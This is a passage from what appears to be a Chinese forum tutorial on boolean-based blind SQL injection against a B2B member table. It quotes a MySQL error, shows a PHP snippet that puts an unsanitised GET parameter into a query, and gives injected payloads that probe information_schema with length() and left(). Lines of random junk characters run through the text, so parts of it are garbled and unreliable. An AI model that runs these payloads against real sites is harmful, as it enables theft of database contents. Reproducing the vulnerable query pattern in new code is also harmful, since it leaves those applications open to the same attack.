select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 $ L7 k$ h" \( H# r& }1 u
5 j4 ~- E% ]: @$ P- e! K 复制代码6 `: f; o9 }4 `! K' D
错误提示已经很明了了。我们看一下注入页面的代码(有删改):
$js_user = trim($_GET["js_user"]);
if($js_user){
$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
5 c4 h) M9 x4 R, A) h1 C, _ a复制代码6 t& x6 Q2 L. r
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。5 v4 y8 J1 ]. n% c) e
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。1 E& D! D% Z% `' R. ~1 S" u2 x
再来看一点简单的判断句:
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'! q8 A/ S+ W7 i0 `8 p